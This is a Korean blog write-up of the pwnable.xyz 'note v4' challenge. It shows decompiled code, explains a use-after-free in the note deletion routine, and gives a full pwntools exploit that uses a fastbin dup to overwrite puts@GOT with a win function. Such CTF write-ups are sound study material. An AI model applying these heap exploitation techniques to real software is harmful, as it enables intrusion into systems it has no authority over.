Pwnstar

pwnable.xyz note v4 본문

Wargame/pwnable.xyz

pwnable.xyz note v4

포너블처돌이 2020. 12. 20. 22:46

이번 문제도 며칠 잡고 있을 줄 알았는데 운이 좋아서 빨리 풀었다.

카나리와 nx만 걸려있음.

역시나 힙 문제이다.

 

1. 코드분석

main

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int running; // [rsp+8h] [rbp-8h]
  __int64 savedregs; // [rsp+10h] [rbp+0h]

  running = 1;
  setup();
  show_banner();
  init_first_note();
LABEL_8:
  while ( running )
  {
    show_menu();
    printf("> ");
    get_int();
    switch ( (unsigned int)&savedregs )
    {
      case 1u:
        create_notes();
        break;
      case 2u:
        select_note();
        break;
      case 3u:
        edit_selected_note();
        break;
      case 4u:
        delete_selected_note();
        break;
      case 5u:
        running = 0;
        break;
      default:
        goto LABEL_8;
    }
  }
  puts("Bye...");
  return 0;
}

숫자 입력하면 해당 함수가 호출되는 형식

create_note

void __cdecl create_notes()
{
  int i; // [rsp+0h] [rbp-10h]
  int count; // [rsp+4h] [rbp-Ch]
  Note *lastNote; // [rsp+8h] [rbp-8h]

  printf("How many notes do you want to create: ");
  count = get_int();
  if ( count + NoteCount > 199 )
  {
    puts("Not enough space left in your notebook...");
  }
  else
  {
    for ( lastNote = (Note *)&FirstNote; lastNote->Next; lastNote = lastNote->Next )
      ;
    for ( i = 0; i < count; ++i )
    {
      lastNote->Next = (Note *)malloc(0x50uLL);
      lastNote = lastNote->Next;
      init_note(lastNote);
    }
  }
}

note의 개수를 한꺼번에 몇개 만들지 선택해서 공간을 할당해주는 방식이다. 각 note는 linked list로 연결되어 있음.

select_note

void __cdecl select_note()
{
  int index; // [rsp+4h] [rbp-Ch]

  printf("Which note do you want to select: ");
  index = get_int();
  if ( find_note(index) )
  {
    CurrentNote = index;
  }
  else
  {
    CurrentNote = -1LL;
    puts("This note doesn't exist...");
  }
}

생성해둔 노트의 인덱스를 선택해서 해당 인덱스를 CurrentNote라는 전역변수에 저장한다.

 

edit_selected_note

void __cdecl edit_selected_note()
{
  Note *note; // ST08_8

  if ( CurrentNote == -1 )
  {
    puts("Please select a note first...");
  }
  else
  {
    note = find_note(CurrentNote);
    printf("Enter content for note %d: ", CurrentNote);
    fgets(note->Data, 0x60, _bss_start);
  }
}

select_note함수로 선택한 인덱스의 노트에값을 0x60만큼 입력할 수 있다.

 

delete_selected_note

void __cdecl delete_selected_note()
{
  Note *note; // [rsp+8h] [rbp-8h]

  if ( CurrentNote == -1 )
  {
    puts("Please select a valid note first...");
  }
  else
  {
    note = find_note(CurrentNote);
    if ( note )
    {
      free(note->Data);
      free(note);
      CurrentNote = -1LL;
      --NoteCount;
    }
  }
}

select_note함수로 선택한 인덱스의 노트를 free해주는 함수인데, 초기화해주는 코드가 없다 UAF가능

 

중요한게 주소를 leak해줄 수가 없음.

노트를 생성하면 우선 0x50만큼 주소를 할당해주고, +0x10의 위치에 data가 들어갈 영역의 주소(0x60)를 넣어준다. 그리고 +0x48의 위치에 다음 노트의 주소가 들어감.

이런 식으로 노트들이 생성됨 

노트를 삭제하면 주소들이 fastbin에 들어가게 되는데,

 

edit_selected_note함수로 uaf가 가능해서 이 fastbin을 조작하는 것이 가능하다.

 

이걸 보고 힌트를 얻었는데, 이걸 풀때까지만 해도 무슨 기법인지 몰랐음. 그래서 이게 될까 하면서 풀었다.

만약 이 주소를 사이즈도 적당한 유요한 주소로 수정한다면 그 주소에 내가 원하는 만큼 공간을 할당받을 수 있겠다는 생각을 했다.

근데 앞서 말했듯 leak이 불가능해서 고정 주소를 써야했는데, 다행히 첫번째 노트는 bss영역에 할당되어 있다.

그래서 CurrentNote는 select_note함수로 조작할 수 있으니, CurrentNote+0x8의 주소로 조작한 다음, 이 CurrentNote의 값을 0x71로 바꿔주면 이 bss영역을 조작할 수 있고, 첫번째 노트의 데이터를 가리키는 주소를 조작할 수 있다. 그 부분을 puts_got로 바꿔주고 win함수의 주소를 넣어주면 끗

 

ex.py

from pwn import*

p = process("./challenge")
#p = remote("svc.pwnable.xyz", 30046)

script = '''
b*0x0000000000400E75
b*0x0000000000400E8D
b*0x0000000000400E99
'''
gdb.attach(p, script)

def create(cnt):
    p.sendlineafter("> ", "1")
    p.sendlineafter(": ", str(cnt))

def edit(idx, note):
    p.sendlineafter("> ", "2")
    p.sendlineafter(": ", str(idx)) 
    p.sendlineafter("> ", "3")
    p.sendlineafter(": ", note)

def delete(idx):
    p.sendlineafter("> ", "2")
    p.sendlineafter(": ", str(idx))
    p.sendlineafter("> ", "4")

puts_got = 0x0000000000602020
addr = 0x0000000000602298
win = 0x0000000000400DD9

create(0x80)
delete(0x80)


edit(0x80, p64(addr))

p.sendlineafter("> ", "2")
p.sendlineafter(": ", str(0x71)) #make size 0x71

create(2)
edit(0x81, p64(0)*5 + p64(puts_got))

edit(0, p64(win))

p.interactive()

 

무슨 기법인지 이름도 모르고 풀어서 풀고 난 후 무슨 기법인지 알려고 라이트업을 찾아봤다. 이게 fastbin dup이구나...

'Wargame > pwnable.xyz' 카테고리의 다른 글

pwnable.xyz adultvm2  (0) 2020.12.22
pwnable.xyz adultvm  (0) 2020.12.21
pwnable.xyz fishing  (0) 2020.12.19
pwnable.xyz babyvm  (0) 2020.12.17
pwnable.xyz knum  (0) 2020.12.15
Comments